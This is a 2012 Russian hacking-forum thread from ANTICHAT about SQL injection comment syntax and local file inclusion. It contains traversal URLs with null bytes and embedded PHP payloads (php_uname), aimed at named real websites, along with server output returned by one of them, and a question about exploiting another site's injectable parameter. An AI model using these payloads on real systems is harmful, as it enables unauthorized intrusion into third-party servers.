ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
19.03.2012, 21:53
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875
Репутация:
137
|
|
Сообщение от foma9999
foma9999 said:
что значит а после коммента?
дамы и господа прежде чем задавать какиелибо вопросы по SQL-иньекциям ознакомтись пожалуйсто со статьей http://forum.antichat.net/thread43966.html а потом только выесняйте непонятные моменты! ("а" обсолютно ничего не значит после комента, так как она закоментирована)
|
|
|
19.03.2012, 21:59
|
|
Guest
Сообщений: n/a
Провел на форуме:
102354
Репутация:
267
|
|
Сообщение от winstrool
winstrool said:
дамы и господа прежде чем задавать какиелибо вопросы по SQL-иньекциям ознакомтись пожалуйсто со статьей http://forum.antichat.net/thread43966.html а потом только выесняйте непонятные моменты! ("а" обсолютно ничего не значит после комента, так как она закоментирована)
А я думал браузер удаляет пробел, если он в самом концу URL. Т.е. для браузера:
-- = --
А если сделать -- a, то не будет удалять пробел. Я так думал.
|
|
|
|
19.03.2012, 23:22
|
|
Новичок
Регистрация: 21.12.2009
Сообщений: 0
Провел на форуме:
15756
Репутация:
0
|
|
Сообщение от Ereee
Ereee said:
А я думал браузер удаляет пробел, если он в самом концу URL. Т.е. для браузера:
--
=
--
А если сделать
-- a
, то не будет удалять пробел. Я так думал.
Ты правильно думал, только не браузер его удаляет, а есть приличный шанс нарваться например на trim().
winstrool у тебя все посты такие чёткие, что лучше тебе не писать совсем, а то ещё с группы выгонят не дай бог
|
|
|
|
20.03.2012, 13:24
|
|
Guest
Сообщений: n/a
Провел на форуме:
344922
Репутация:
75
|
|
Сообщение от Expl0ited
Expl0ited said:
Выполнение PHP кода:
http://zamok-met.ru/catalog.php?id=../../../../proc/self/cmdline%00&
Вернет:
/bin/apache2___[zamok-met.ru] GET /catalog.php?id=../../../../proc/self/cmdline%00&
Linux cabol.beget.ru 2.6.35.14 #4 SMP Sun Aug 14 23:30:33 MSD 2011 x86_64
HTTP/1.0
Запрос отправлять не через браузер, иначе все символы урлкодируются.
а почему например тут так не получается?
http://www2.mati.ru/english/index.php?path=../../../../../../../../../../../proc/self/cmdline%00&%3C?php%20print%20php_uname%28%29;?%3E
или тут
http://bombaticket.ru/pg.php?p=../../../../../proc/self/cmdline%00&%3C?php%20print%20php_uname%28%29;?%3E
|
|
|
|
20.03.2012, 14:08
|
|
Guest
Сообщений: n/a
Провел на форуме:
124363
Репутация:
11
|
|
а ты через curl пробовал отсылать запрос?
|
|
|
|
20.03.2012, 14:12
|
|
Guest
Сообщений: n/a
Провел на форуме:
344922
Репутация:
75
|
|
Сообщение от Faaax
Faaax said:
а ты через curl пробовал отсылать запрос?
ну да
|
|
|
|
20.03.2012, 14:41
|
|
Guest
Сообщений: n/a
Провел на форуме:
262707
Репутация:
935
|
|
Про инклуд, есть миллион статей, в которых описываются какие именно нужно инклюдить файлы, зачем везде инклюдить /proc/self/cmdline в который ничего не попадает из вашего запроса к серверу?
|
|
|
|
20.03.2012, 20:20
|
|
Guest
Сообщений: n/a
Провел на форуме:
13805
Репутация:
0
|
|
А как такое возможно в phpMyAdmin есть 4 одинаковых пользователя но у двоих из них File_priv Y а у двоих N,как это вообще понимать?
|
|
|
|
20.03.2012, 20:35
|
|
Guest
Сообщений: n/a
Провел на форуме:
97332
Репутация:
38
|
|
Сообщение от Facecontrol
Facecontrol said:
А как такое возможно в phpMyAdmin есть 4 одинаковых пользователя но у двоих из них File_priv Y а у двоих N,как это вообще понимать?
У них host одинаковый? Если нет, то понимать адекватно.
Если да - то админы мудаки.
|
|
|
|
20.03.2012, 20:46
|
|
Новичок
Регистрация: 05.01.2010
Сообщений: 9
Провел на форуме:
13018
Репутация:
0
|
|
http://www.allsoch.ru/soch/works.php?AuthorID=-3
Это является sql-inj?
Возможно ли раскрутить?
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
